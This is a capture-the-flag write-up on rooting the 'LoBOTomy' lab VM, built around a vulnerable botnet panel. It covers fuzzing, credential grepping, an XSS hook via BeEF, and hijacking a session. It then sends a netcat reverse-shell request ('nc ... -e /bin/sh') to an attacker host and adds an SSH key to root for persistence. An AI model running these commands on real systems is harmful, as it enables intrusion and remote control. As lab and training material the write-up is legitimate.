published on in writeup
tags: bot challenges

LoBOTomy

The goal of the VM is to obtain a root shell.

Nmap

[email protected]:~# nmap -n -sV -A -p- 192.168.127.128
 
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 6.6.1p1 Debian 5 (protocol 2.0)
| ssh-hostkey: 
|   1024 c0:41:42:1f:08:d9:26:6b:0e:32:dd:eb:a6:b8:94:ef (DSA)
|   2048 74:4d:1a:68:c8:db:9c:e6:46:d3:13:d8:e0:5e:ca:74 (RSA)
|_  256 9a:1c:a5:6b:a3:48:3c:8e:16:cd:c9:60:68:ef:d5:55 (ECDSA)
80/tcp  open  http    Apache httpd 2.4.9 ((Debian))
|_http-title: Site doesn't have a title (text/html).
111/tcp open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|_  100000  2,3,4        111/udp  rpcbind

I punched the IP into a web browser, and was greeted by the following:

The blog post is a pretty good read - it’s Brian’s original write up of the bot this challenge is based on. The text here tells us two things really. The first is that a copy of the bot’s source code is present on this web service somewhere; the second is that there’s a simulated client which regularily access the bot panel.

WFuzz

I next set about the task of finding the bot source code. I suspected that it would be in some compressed format, so I used WFuzz with the various Kali wordlists and prepended with various extensions (.tar.gz, .tar, .bz2, .zip etc)

[email protected]:/usr/share/wfuzz# wfuzz -c -z file,wordlist/general/common.txt -z file,wordlist/compression_extensions.txt --hc 404 http://192.168.127.128/FUZZ.FUZ2Z

I spent ages on this and still wasn’t finding any files. Eventually, it occured to me that the wordlists were all lowercase but WFuzz doesn’t have any built-in manging rules. I sort of took a punt and converted the first letter of each line of some of the wordlists, then ran them again with my file extensions. I used sed for the conversion.

sed  's/^\(.\)/\U\1/' yourfile > convertedfile

Eventually I got a hit on Panel.zip. Downloading and extracting the files give you a proper idea of what to find on the web server itself.

[email protected]:~/LoBOTomy/Panel# ls -l
total 24
drwxr-xr-x 5 root root 4096 Apr  5 02:02 adm
drwxr-xr-x 2 root root 4096 Apr  5 02:03 inc
-rw-r--r-- 1 root root 1343 Nov  8  2013 index.php
-rw-r--r-- 1 root root 1810 Feb  6  2010 logo.gif
drwxr-xr-x 2 root root 4096 Dec  3  2013 pwd
drwxr-xr-x 2 root root 4096 Apr  5 02:44 sql (dont upload)

I tried navigating to some of these directories, but kept receiving 404's. A little more fuzzing showed that they simply within another directory, 'm'.

The main bot page was found at http://192.168.127.128/m/adm/auth.php.

The default username and password is hardcoded in plaintext within inc/config.php. I found it using grep.

[email protected]:~/LoBOTomy/Panel# grep -R -i "pass\|password"

You can login and take a look around, though there isn’t much to see.

XSS

You could probably discover this yourself by reviewing the source code, but I came across this vulnerability whilst I was reading up on Madness. There is also a SQLi vulnerability, but given the clue regarding an automated client, I stuck with the XSS.

Funnily enough, the two Madness exploits on exploit-db were written by Brian Wallace xD.

For proper XSS-pwnage, there’s only one way to go: BeEF!

I modified the python exploit to make the XSS point to my beef hook. Launch the exploit, sit back and wait…

I took the PHPSESSID of the hooked browser and used it to access Madness again. This time you can see the bot loaded into the panel. I tried to make it do ‘stuff’ but without much success.

Eventually I went back to BeEF and carried out a port scan, through the BeEF HTTP proxy against the loopback address of the box.

So we can see ports 22 and 80 (which are kind of expected as they’re usually bound to 0.0.0.0), and 3306 which makes sense to bind locally. However, there is also 8080 which is an alternate to 80 and is unusual to see bound only to the localhost.

cURL

Running netstat on my Kali box, shows that the BeEF proxy is bound to port 6789.

[email protected]:~# netstat -antp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:6789          0.0.0.0:*               LISTEN      3234/ruby
tcp        0      0 0.0.0.0:2000            0.0.0.0:*               LISTEN      3234/ruby
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      2566/sshd
tcp        0      0 0.0.0.0:3000            0.0.0.0:*               LISTEN      3234/ruby

I used an environmental export, to set this as an HTTP proxy and was able to use cURL to communicate directly with the service.

[email protected]:~# export http_proxy='http://127.0.0.1:6789'
 
[email protected]:~# curl -v http://127.0.0.1:8080/
* About to connect() to proxy 127.0.0.1 port 6789 (#0)
*   Trying 127.0.0.1...
* connected
* Connected to 127.0.0.1 (127.0.0.1) port 6789 (#0)
> GET http://127.0.0.1:8080/ HTTP/1.1
> User-Agent: curl/7.26.0
> Host: 127.0.0.1:8080
> Accept: */*
> Proxy-Connection: Keep-Alive
>
* additional stuff not fine transfer.c:1037: 0 0
[...snip...]
* additional stuff not fine transfer.c:1037: 0 0
* HTTP 1.1 or later with persistent connection, pipelining supported
< HTTP/1.1 200
< Content-Type: text/html; charset=UTF-8
* no chunk, no close, no size. Assume close to signal end
<
ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.
* nread <= 0, server closed connection, bailing
* Closing connection #0

I wanted to fuzz this port but WFuzz didn’t seem to be returning responses properly, so instead I tried dirb. Dirb simply prints out which requests it receives a response from. The process was terribly slow, as everything was getting routed through the BeEF proxy.

The first hint of a hit was:

+ http://127.0.0.1:8080/arch (CODE:200|SIZE:7)

I went to the BeEF Rider history to look up what the actual response was, which turned out to be ‘i686’. Arch is a shell command which prints the machine architecture, so perhaps this service is just some sort of shell bound to 8080.

I used the Rider to send my own test command:

GET /whoami HTTP/1.1
Host: 127.0.0.1:8080

To which the response was root. I did a little more poking and determined that netcat was installed, and was able to leverage that to get a more useful shell.

GET /nc%20192.168.127.127%204444%20-e%20%27%2Fbin%2Fsh%27 HTTP/1.1
Host: 127.0.0.1:8080

[email protected]:~# nc -lnvp 4444
nc: listening on :: 4444 ...
nc: listening on 0.0.0.0 4444 ...
 
nc: connect to 192.168.127.127 4444 from 192.168.127.128 54444
 
id; whoami
uid=0(root) gid=0(root) groups=0(root)
root

With a root shell, this is pretty much the end of the challenge. The final step I took was to add my public SSH key into root’s authorized_keys file for easy access.